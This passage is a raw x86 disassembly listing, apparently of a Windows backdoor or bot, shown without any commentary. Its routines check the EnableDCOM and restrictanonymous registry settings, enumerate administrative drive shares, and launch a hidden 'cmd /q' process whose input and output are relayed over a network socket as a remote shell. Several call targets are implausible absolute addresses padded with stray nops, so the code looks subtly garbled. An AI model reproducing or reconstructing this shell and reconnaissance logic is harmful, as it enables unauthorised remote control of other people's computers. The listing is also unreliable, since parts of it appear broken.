; ---------------------------------------------------------------------------

loc_416095:				; CODE XREF: sub_415F88+104j
		push	offset unk_438EC4

loc_41609A:				; CODE XREF: sub_415F88+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4160CD
; ---------------------------------------------------------------------------

loc_4160B3:				; CODE XREF: sub_415F88+E2j
		push	offset unk_438E78
		jmp	short loc_4160BF
; ---------------------------------------------------------------------------

loc_4160BA:				; CODE XREF: sub_415F88+13j
		push	offset unk_438E38

loc_4160BF:				; CODE XREF: sub_415F88+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4160CD:				; CODE XREF: sub_415F88+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4160EC:				; CODE XREF: sub_415F88+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, edi
		pop	ecx
		jnz	loc_416267
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41610F:				; CODE XREF: sub_415F88+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43F5B4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AC
		cmp	eax, 0EAh
		jz	short loc_4161AC
		mov	esi, offset off_438CA0

loc_416140:				; CODE XREF: sub_415F88+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416157
		push	offset unk_438E04
		jmp	short loc_41615C
; ---------------------------------------------------------------------------

loc_416157:				; CODE XREF: sub_415F88+1C6j
		push	offset unk_438DC8

loc_41615C:				; CODE XREF: sub_415F88+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41618F:				; CODE XREF: sub_415F88+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_438CC0
		jb	short loc_416140
		jmp	loc_416244
; ---------------------------------------------------------------------------

loc_4161AC:				; CODE XREF: sub_415F88+1AAj
					; sub_415F88+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41623B

loc_4161BB:				; CODE XREF: sub_415F88+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416230
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161EA
		push	offset unk_438D94
		jmp	short loc_4161EF
; ---------------------------------------------------------------------------

loc_4161EA:				; CODE XREF: sub_415F88+259j
		push	offset unk_438D58

loc_4161EF:				; CODE XREF: sub_415F88+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416223
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416223:				; CODE XREF: sub_415F88+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_416230:				; CODE XREF: sub_415F88+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161BB
		xor	edi, edi

loc_41623B:				; CODE XREF: sub_415F88+22Dj
		push	[ebp+var_8]
		call	dword_43F6F8

loc_416244:				; CODE XREF: sub_415F88+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610F
		lea	eax, [ebp+var_214]
		push	offset unk_438D20
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41627A
; ---------------------------------------------------------------------------

loc_416267:				; CODE XREF: sub_415F88+177j
		lea	eax, [ebp+var_214]
		push	offset unk_438CE0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41627A:				; CODE XREF: sub_415F88+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416298
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416298:				; CODE XREF: sub_415F88+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AC	proc near		; CODE XREF: sub_415F28:loc_415F6Fp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43F738, ebx
		push	esi
		jnz	loc_4163DA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416337
		mov	ax, word_4391FC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416319
		push	offset unk_4391C8
		jmp	short loc_41631E
; ---------------------------------------------------------------------------

loc_416319:				; CODE XREF: sub_4162AC+64j
		push	offset dword_43919C

loc_41631E:				; CODE XREF: sub_4162AC+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_41634A
; ---------------------------------------------------------------------------

loc_416337:				; CODE XREF: sub_4162AC+36j
		lea	eax, [ebp+var_220]
		push	offset unk_438F68
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41634A:				; CODE XREF: sub_4162AC+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416369
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416369:				; CODE XREF: sub_4162AC+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4163D3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43F68C
		test	eax, eax
		jz	short loc_4163B5
		push	offset unk_439150
		jmp	short loc_4163BA
; ---------------------------------------------------------------------------

loc_4163B5:				; CODE XREF: sub_4162AC+100j
		push	offset unk_43910C

loc_4163BA:				; CODE XREF: sub_4162AC+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------

loc_4163D3:				; CODE XREF: sub_4162AC+E2j
		push	offset unk_4390C0
		jmp	short loc_4163DF
; ---------------------------------------------------------------------------

loc_4163DA:				; CODE XREF: sub_4162AC+13j
		push	offset unk_438E38

loc_4163DF:				; CODE XREF: sub_4162AC+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4163ED:				; CODE XREF: sub_4162AC+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640C
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41640C:				; CODE XREF: sub_4162AC+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, ebx
		pop	ecx
		jnz	loc_416581
		push	edi
		mov	esi, offset off_438CA0
		mov	edi, 200h

loc_416430:				; CODE XREF: sub_4162AC+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41644B
		push	offset unk_439090
		jmp	short loc_416450
; ---------------------------------------------------------------------------

loc_41644B:				; CODE XREF: sub_4162AC+196j
		push	offset unk_439058

loc_416450:				; CODE XREF: sub_4162AC+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41647F:				; CODE XREF: sub_4162AC+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_438CB0
		jb	short loc_416430
		nop
		call	near ptr 27F0807h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416569

loc_4164AA:				; CODE XREF: sub_4162AC+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655E
		cmp	bl, 41h
		jz	loc_41655E
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43F6C8
		cmp	eax, 3
		jnz	short loc_41655E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651C
		push	offset unk_439090
		jmp	short loc_416521
; ---------------------------------------------------------------------------

loc_41651C:				; CODE XREF: sub_4162AC+267j
		push	offset unk_439058

loc_416521:				; CODE XREF: sub_4162AC+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416551
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416551:				; CODE XREF: sub_4162AC+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_41655E:				; CODE XREF: sub_4162AC+206j
					; sub_4162AC+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164AA

loc_416569:				; CODE XREF: sub_4162AC+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_439018
		push	eax
		call	sub_4172B0
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416594
; ---------------------------------------------------------------------------

loc_416581:				; CODE XREF: sub_4162AC+173j
		lea	eax, [ebp+var_220]
		push	offset unk_438CE0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_416594:				; CODE XREF: sub_4162AC+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B2
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4165B2:				; CODE XREF: sub_4162AC+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C6	proc near		; CODE XREF: ___:0041562Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416717
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4450CC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_416631
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41666B
; ---------------------------------------------------------------------------

loc_416631:				; CODE XREF: sub_4165C6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41699B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416672
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 27E09C6h

loc_41666B:				; CODE XREF: sub_4165C6+69j
		xor	eax, eax
		jmp	loc_416712
; ---------------------------------------------------------------------------

loc_416672:				; CODE XREF: sub_4165C6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27F0ADCh
		sub	eax, ebx
		jz	short loc_4166CC
		dec	eax
		jz	short loc_4166C6
		dec	eax
		jz	short loc_4166B2
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset dword_439200
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------

loc_4166B2:				; CODE XREF: sub_4165C6+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------

loc_4166C6:				; CODE XREF: sub_4165C6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166D0
; ---------------------------------------------------------------------------

loc_4166CC:				; CODE XREF: sub_4165C6+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_4166D0:				; CODE XREF: sub_4165C6+104j
		nop
		call	near ptr 27E09C6h
		push	1
		push	dword ptr [esi+8]
		call	near ptr 27E0C8Eh
		nop

loc_4166E1:				; CODE XREF: sub_4165C6+EAj
					; sub_4165C6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43F700
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax

loc_416712:				; CODE XREF: sub_4165C6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416717	proc near		; CODE XREF: sub_4165C6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_416801
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_41677A
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset dword_439324
		jmp	short loc_41679A
; ---------------------------------------------------------------------------

loc_41677A:				; CODE XREF: sub_416717+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A2
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset dword_4392D4

loc_41679A:				; CODE XREF: sub_416717+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167D0
; ---------------------------------------------------------------------------

loc_4167A2:				; CODE XREF: sub_416717+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_416810
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416805
		push	offset dword_43929C
		call	sub_40BF6D

loc_4167D0:				; CODE XREF: sub_416717+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DC
		push	[ebp+var_4]
		call	edi

loc_4167DC:				; CODE XREF: sub_416717+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E7
		push	[ebp+var_8]
		call	edi

loc_4167E7:				; CODE XREF: sub_416717+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167F0
		push	eax
		call	edi

loc_4167F0:				; CODE XREF: sub_416717+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167FA
		push	eax
		call	edi

loc_4167FA:				; CODE XREF: sub_416717+DEj
		push	esi
		call	sub_417C3B
		pop	ecx

loc_416801:				; CODE XREF: sub_416717+1Dj
		xor	eax, eax
		jmp	short loc_41680B
; ---------------------------------------------------------------------------

loc_416805:				; CODE XREF: sub_416717+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_41680B:				; CODE XREF: sub_416717+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416810	proc near		; CODE XREF: sub_416717+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2780947h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 276063Ch
		nop
		test	eax, eax
		jz	short loc_4168CC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4450C8[eax], ecx
		nop
		call	near ptr 26309DCh
		jmp	short loc_4168E2
; ---------------------------------------------------------------------------

loc_4168CC:				; CODE XREF: sub_416810+9Aj
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset dword_439374
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_4168E2:				; CODE XREF: sub_416810+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E9	proc near		; DATA XREF: sub_4165C6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_416912:				; CODE XREF: sub_4168E9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41697A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694D

loc_416923:				; CODE XREF: sub_4168E9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693D
		cmp	dl, 0Dh
		jz	short loc_41693D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41693D:				; CODE XREF: sub_4168E9+44j
					; sub_4168E9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416923

loc_41694D:				; CODE XREF: sub_4168E9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_41697A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416912
; ---------------------------------------------------------------------------

loc_41697A:				; CODE XREF: sub_4168E9+2Dj
					; sub_4168E9+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416996
		call	esi
		push	eax
		push	offset dword_4393C0
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_416996:				; CODE XREF: sub_4168E9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41699B	proc near		; DATA XREF: sub_4165C6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4169B4:				; CODE XREF: sub_41699B+39j
					; sub_41699B+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F680
		test	eax, eax
		jle	loc_416AB9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D6
		dec	[ebp+var_10]
		jmp	short loc_4169B4
; ---------------------------------------------------------------------------

loc_4169D6:				; CODE XREF: sub_41699B+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A99
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A46
		cmp	al, 7Fh
		jz	short loc_416A46
		cmp	al, 3
		jnz	short loc_416A01
		push	ebx
		push	ebx
		call	near ptr 27F0BB7h
		nop
		jmp	short loc_416A6D
; ---------------------------------------------------------------------------

loc_416A01:				; CODE XREF: sub_41699B+5Aj
		cmp	al, 15h
		jnz	short loc_416A23
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A59
; ---------------------------------------------------------------------------

loc_416A23:				; CODE XREF: sub_41699B+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A5A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A59
; ---------------------------------------------------------------------------

loc_416A46:				; CODE XREF: sub_41699B+52j
					; sub_41699B+56j
		cmp	esi, ebx
		jbe	short loc_416A70
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_416A59:				; CODE XREF: sub_41699B+86j
					; sub_41699B+A9j
		pop	ecx

loc_416A5A:				; CODE XREF: sub_41699B+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_416AB9

loc_416A6D:				; CODE XREF: sub_41699B+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_416A70:				; CODE XREF: sub_41699B+ADj
		cmp	al, 0Dh
		jnz	loc_4169B4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_416AB9
		xor	esi, esi
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416A99:				; CODE XREF: sub_41699B+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AAA
		mov	[ebp+var_C], 1
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416AAA:				; CODE XREF: sub_41699B+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416AB9:				; CODE XREF: sub_41699B+2Bj
					; sub_41699B+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41699B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABE	proc near		; CODE XREF: sub_416ADE+Ap
					; sub_416BB6+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


